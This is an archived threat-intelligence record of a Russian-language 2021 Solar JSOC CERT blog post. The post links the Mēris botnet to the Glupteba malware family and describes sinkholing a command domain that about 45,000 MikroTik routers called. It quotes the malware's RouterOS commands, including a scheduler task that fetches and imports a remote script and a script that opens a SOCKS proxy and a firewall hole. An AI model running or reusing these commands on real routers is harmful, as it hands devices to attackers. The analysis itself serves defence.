{
	"id": "df0056ae-c262-40a4-ae91-2427a43f28eb",
	"created_at": "2026-04-06T00:08:29.952945Z",
	"updated_at": "2026-04-10T03:21:57.469115Z",
	"deleted_at": null,
	"sha1_hash": "50e2a118d2695dfca4a78ba5593ca05ce7c162e2",
	"title": "Как мы искали связь между Mēris и Glupteba, а получили контроль над 45 тысячами устройств MikroTik",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 488882,
	"plain_text": "Как мы искали связь между Mēris и Glupteba, а получили\r\nконтроль над 45 тысячами устройств MikroTik\r\nBy JSOC_CERT\r\nPublished: 2021-09-20 · Archived: 2026-04-05 19:58:45 UTC\r\n5 мин\r\n21K\r\nНеделю назад стало известно о рекордной DDoS-атаке на компанию Яндекс с впечатляющим значением в\r\n21,8 млн RPS. Сотрудники Яндекса совместно с компанией Qrator Labs рассказали,\r\nчто инструментом проведения атаки был ботнет Mēris, состоящий из сетевых устройств компании\r\nMikrotik. При этом они отметили, что изучить образец бота у них не было возможности, но утверждение,\r\nчто Mēris – это «вернувшийcя Mirai», не совсем точно из-за различия в сетевых уровнях атаки (L7 и L3).\r\nМы уверены, что данные обстоятельства привлекли внимание многих специалистов\r\nпо информационной безопасности в попытках изучения внутреннего устройства ботнета Mēris\r\nи природы его возникновения. Мы в Solar JSOC CERT не стали исключением и пришли к выводу, что,\r\nвозможно, Mēris начал зарождаться еще в 2018 году с помощью вредоносного семейства Glupteba, которое\r\nдо сих пор является «поставщиком» устройств для Mēris. Так же нам удалось получить контроль над 45\r\nтысячами устройств MikroTik.\r\nJSOC CERT имеет распределенную по миру сеть honeypot-устройств для изучения массовых атак и\r\nhttps://habr.com/ru/company/solarsecurity/blog/578900/\r\nPage 1 of 7\n\nвредоносных семейств с 2019 года. Последние два года мы наблюдали за попытками заражения устройств\r\nMikroTik при помощи брутфорса паролей по ssh и эксплуатации уязвимости CVE-2018-14847,\r\nпозволяющей получить учетную запись администратора. Как правило после удачного входа на устройство\r\nпрописывается команда на добавление задачи в планировщик задач RouterOS следующего вида:\r\n/system scheduler add name=\"U6\" interval=10m on-event=\"/tool\r\nfetch url=http://…/poll/eb62f787-db25-489b-b60d-de8f23940ba2 mode=http dst-path=7wmp0b4s.rsc\\r\\n/import 7wmp0b4\r\nУ всех URL всегда присутствовала характерная часть “/poll/”, идентификатор же постоянно менялся.\r\nКроме того, сервер управления всегда проверяет User-Agent в http-запросе и отдает нагрузку только\r\nустройствам MikroTik (User-Agent: Mikrotik/6.x Fetch).\r\nЧерез некоторое время после заражения устройства по ссылке из запланированной задачи скачивается и\r\nзапускается скрипт с командами (об этом уже писали на Хабре):\r\n:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put \"U6 not found\"}\r\n:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put \"U7 not found\"}\r\n:do { /ip service disable telnet } on-error={ :put \"disable telnet error\"}\r\n:do { /ip service disable api } on-error={ :put \"disable api error\"}\r\n:do { /ip service disable api-ssl } on-error={ :put \"disable api-ssl error\"}\r\n:do { /ip service set ssh port= } on-error={ :put \"set ssh port error\"}\r\n:do { /ip socks set enabled=yes } on-error={ :put \"socks enable error\"}\r\n:do { /ip socks set port=5678 } on-error={ :put \"set socks port error\"}\r\n:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 }\r\nУстройства MikroTik занимают небольшую часть в нашей honeypot-сети, поэтому мы не могли, оперируя\r\nлишь нашими данными, рассуждать о масштабах угрозы.\r\n9 сентября 2021 года на наши устройства MikroTik с серверов управления (ниже в таблице) пришла\r\nочередная задача (описанного выше формата), которую мы не встречали ранее.\r\nОна содержала ссылку на Яндекс (по указанным ссылкам сейчас находится заглушка, рекомендующая\r\nпроверить компьютер на вирусы; изначальное содержимое нам неизвестно):\r\n:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put \"U6 not found\"}\r\n:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put \"U7 not found\"}\r\n:do { /ip service disable telnet } on-error={ :put \"disable telnet error\"}\r\n:do { /ip service disable api } on-error={ :put \"disable api error\"}\r\n:do { /ip service disable api-ssl } on-error={ :put \"disable api-ssl error\"}\r\n:do { /ip service set ssh port= } on-error={ :put \"set ssh port error\"}\r\n:do { /ip socks set enabled=yes } on-error={ :put \"socks enable error\"}\r\n:do { /ip socks set port=5678 } on-error={ :put \"set socks port error\"}\r\n:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 }\r\n:do { /tool fetch mode=https url=\"https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0\" http-method=get }\r\n:do { /tool fetch mode=https url=\"https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0?init\" http-method=get }\r\nhttps://habr.com/ru/company/solarsecurity/blog/578900/\r\nPage 2 of 7\n\nТак же в этот день Яндекс опубликовал новость о DDoS-атаке. Прочитав ее, мы сделали предположение,\r\nчто именно таким образом и была организована атака (технических подробностей на тот момент\r\nпредставлено не было). То есть в качестве семпла вредоносного кода выступает лишь задача в\r\nпланировщике RouterOS.\r\n10 сентября 2021 мы зафиксировали распространение команды, в которой передавались параметры\r\nавторизации на FTP-сервере и задача по выгрузке на него конфигурационного файла зараженного\r\nустройства.\r\nМы забрали и проанализировали все конфигурационные файлы (они не содержат публичные адреса,\r\nлогины и пароли). В итоге нам удалось идентифицировать общее количество уникальных устройств\r\nравное 95500.\r\nhttps://habr.com/ru/company/solarsecurity/blog/578900/\r\nPage 3 of 7\n\nПри сравнении полученной информации о регионах устройств, версиях ОС и открытых Socks-proxy с\r\nданными в посте Яндекса мы заметили очевидное сходство.\r\nВажной информацией в конфигурационных файлах всех устройств MikroTik было наличие записей о\r\nзадачах в RouterOS. Мы проанализировали доменные имена (ниже), с которых взломанные устройства\r\nскачивали скрипты, и это привело нас к вредоносному семейству Glupteba, о котором мы уже\r\nрассказывали.\r\nИменно тут мы и вспомнили, что Glupteba имеет в своем арсенале модуль для заражения MikroTik,\r\nкоторый, к слову, работает тоже через брутфорс паролей по ssh и эксплуатации уязвимости CVE-2018-\r\n14847 и создает ровно такие же задачи.\r\nО данном модуле ранее писали Sophos и TrendMicro (см. здесь и здесь).\r\nПример шаблона для формирования задачи из модуля:\r\nПомните про идентификатор задачи, который присылался вместе с доменом и располагался после\r\nхарактерной части “/poll/”? Так вот это UUID, который формируется при помощи библиотеки\r\nhttps://habr.com/ru/company/solarsecurity/blog/578900/\r\nPage 4 of 7\n\ngithub.com/gofrs/uuid как в основном модуле Glupteba, так и в модуле Mikrotik.\r\nОт себя скажем, что мы встречались с разными модулями Glupteba для Mikrotik. Условно их можно\r\nразделить на несколько групп:\r\n1. Язык: Go, один вшитый домен для формирования задачи;\r\n2. Язык: Go, несколько вшитых доменов (обычно, три), один из которых выбирается случайным\r\nобразом;\r\n3. Язык: C++ с использованием boost.\r\nСоставили таблицу, в которой мы привели данные о доменах, найденных во вредоносных задачах\r\nконфигурационных файлов 95500 устройств Mikrotik и доменах, которые мы обнаружили в модулях\r\nсемейства Glupteba:\r\nОписанные выше данные позволяют предположить, что вредоносное семейство Glupteba, участвовало в\r\nформировании ботнета Mēris. Мы думали, что на этом наше исследование подойдет к концу, но самое\r\nинтересное нас еще ждало впереди.\r\n14 сентября 2021 в 17:37 на нашем ханипоте MikroTik была запущена очередная команда, которая\r\nотсылала зараженное устройство на CnC-адрес cosmosentry[.]com. Мы очень удивились, когда выяснили,\r\nчто это доменное имя еще никому не принадлежит, и быстро зарегистрировали его на себя. За шесть дней\r\nна наш сервер обратилось около 78 тысяч уникальных IP c характерным для MikroTik User-Agent, и мы\r\nдумали, что это соответствует количеству зараженных устройств.\r\nОднако после изучения статистических данных оказалось, что на самом деле устройств около 45 тысяч, а\r\nтакое количество IP-адресов получилось из-за динамической адресации. То есть многие устройства не\r\nимеют белого адреса и находятся во внутренней сети, что еще раз наводит на мысль об участии в этом\r\nделе семейства Glupteba.\r\nНапример, на рисунке представлена одна «белая подсеть» по маске /24, из которой идут обращения к\r\ncosmosentry[.]com.\r\nhttps://habr.com/ru/company/solarsecurity/blog/578900/\r\nPage 5 of 7\n\nРаспределение по geo IP:\r\nНаша статистика по геопринадлежности зараженных устройств схожа с данными в посте Яндекса\r\n(Бразилия, Индонезия, Индия, Бангладеш). Но есть и различия (у нас большую часть занимает Украина).\r\nВероятно, у ботнета Mēris несколько серверов управления и нам доступна только часть устройств.\r\nhttps://habr.com/ru/company/solarsecurity/blog/578900/\r\nPage 6 of 7\n\nВ конце хочется напомнить, что, к сожалению, мы не можем предпринять никаких активных действий с\r\nподконтрольными нам устройствами (у нас нет на это полномочий). В настоящий момент порядка 45\r\nтысяч устройств MikroTik обращаются к нам, как к sinkhole-домену.\r\nИнформация уже передана в НКЦКИ.\r\nИгорь Залевский, руководитель отдела расследования киберинцидентов Solar JSOC CERT, «Ростелеком-Солар»\r\nSource: https://habr.com/ru/company/solarsecurity/blog/578900/\r\nhttps://habr.com/ru/company/solarsecurity/blog/578900/\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "RU",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://habr.com/ru/company/solarsecurity/blog/578900/"
	],
	"report_names": [
		"578900"
	],
	"threat_actors": [],
	"ts_created_at": 1775434109,
	"ts_updated_at": 1775791317,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/50e2a118d2695dfca4a78ba5593ca05ce7c162e2.pdf",
		"text": "https://archive.orkl.eu/50e2a118d2695dfca4a78ba5593ca05ce7c162e2.txt",
		"img": "https://archive.orkl.eu/50e2a118d2695dfca4a78ba5593ca05ce7c162e2.jpg"
	}
}